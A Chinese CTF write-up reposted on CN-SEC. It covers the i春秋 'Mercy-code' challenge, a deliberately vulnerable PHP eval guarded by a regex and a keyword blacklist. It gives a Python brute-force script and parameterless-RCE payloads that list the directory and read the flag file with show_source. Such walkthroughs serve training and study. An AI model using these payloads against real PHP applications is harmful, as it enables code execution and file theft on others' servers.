[i春秋]Mercy-code

admin 2022年11月18日14:07:41CTF专场[i春秋]Mercy-code已关闭评论5 views2381字阅读7分56秒阅读模式

题目源码

<?php
highlight_file(__FILE__);
if ($_REQUEST['cmd']) {
    $cmd = $_REQUEST['cmd'];
    if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
    if(preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {
            die('What are you thinking?');
        } else {
            eval($cmd);
        }
    } else {
        die('Please calm down');
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

为了方便,我把题目中POST传参改成了GET传参

分析题目

首先,第一个分析正则过滤,

必须要符合这个正则匹配,而且,匹配之后就删除,这个结果必须剩下的是 ;

image-20220512001646346

image-20220512001958322

这个正则表达式会匹配函数里面的参数,如果有参数就不会匹配,如果没有参数才会被匹配

那么这个题目的意思就是可以套娃的无参RCE

Writeup

基本思路

scandir()函数用于返回指定目录的文件和目录数组

  • 在常规思路中

​ 首先我们要构造scandir(‘.’)来访问当前目录,得到一个数组的形式的当前目录下的所有目录名

​ 然后取数组的值进行输出或者输出源码

首先呢,题目没有过滤scandir()这个函数。

但是是无参RCE,

  • 第一个难点:我们需要构造一个’.’

  • 第二个难点:我们需要定位到scandir的返回值里面的我们需要的文件夹的位置,并且提取出来

思路一

  • 利用chr(strrev(uniqid()))获取’.’

    首先uniqid会返回一个随机的字符串,比如:627beab23120c其中627bea是固定的,后面的部分是随机的

    然后通过strrev进行翻转获得这样的字符串:093e34faeb726,不管后边的,前面两位是随机的,那么是不是有概率产生’.'的ASCII值呢

    最后通过chr转义数字(chr函数会自动忽略数字后面的字母)

  • 利用implode函数将数组转化为字符串

  • 利用echo输出结果

由于是随机数,所以我们需要爆破

代码:

import requests
from urllib import parse

url = "http://127.0.0.1/"
headers = {"content-type":"application/x-www-form-urlencoded"}



data = {
   "cmd":"echo(implode(scandir(chr(strrev(uniqid())))));"
}

for i in range(0,1000):
    r = requests.post(url,data=data,headers=headers).text
    print (i)
    if 'Warn' not in r:
        print(r)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

image-20220512010611144

发现了flag所在的文件

但是有个问题就是,不知道flag在第几个文件里面,这些文件名都连成了一坨

于是用

"cmd":"echo(end(scandir(chr(strrev(uniqid())))));"
  • 1

来爆破最后一个文件夹的名字

image-20220512011240602

题目比较友好,把flag放到了最后一个文件中

最后用

"cmd":"show_source(end(scandir(chr(strrev(uniqid())))));"
  • 1

读取文件即可

image-20220512011343367

方法二

参考scr1pt-k1ddi3师傅的wp:https://scr1pt-k1ddi3.github.io/2022/05/08/ichunqiu-Mercy-code/

payload

cmd=show_source(end(scandir(next(each(str_split(hebrevc(crypt(sin()))))))));
  • 1

分析:

  • crypt()返回使用 DES、Blowfish 或 MD5 算法加密的字符串。

  • hebrevc() 函数把希伯来文本从右至左的流转换为左至右的流。同时,把新行(\n)转换为

    • hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 “.”(小概率) 然后通过chr(ord())只取第一个字符/
    • sin()返回一个数字,作为hebrevc()的参数
  • str_split() 函数把字符串分割到数组中。

    • 参数 描述
      string 必需。规定要分割的字符串。
      length(可选) 可选。规定每个数组元素的长度。默认是 1。
  • 由于reset()和current()被过滤了所以要找到一种方法输出第一个数

    • each()函数返回当前元素的键名和键值,并将内部指针向前移动。返回值:Array( [1] => 键值 [value] => 键值 [0] => 键名 [key] => 键名)
    • next()函数将内部指针指向数组中的下一个元素,并输出

参考文章

https://xz.aliyun.com/t/6737
https://scr1pt-k1ddi3.github.io/2022/05/08/ichunqiu-Mercy-code/
https://blog.csdn.net/weixin_28759987/article/details/116284686

  • 1
  • 2
  • 3
  • 4

参考文章

https://xz.aliyun.com/t/6737
https://scr1pt-k1ddi3.github.io/2022/05/08/ichunqiu-Mercy-code/
https://blog.csdn.net/weixin_28759987/article/details/116284686

  • 1
  • 2
  • 3
  • 4

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月18日14:07:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  [i春秋]Mercy-code http://cn-sec.com/archives/1416774.html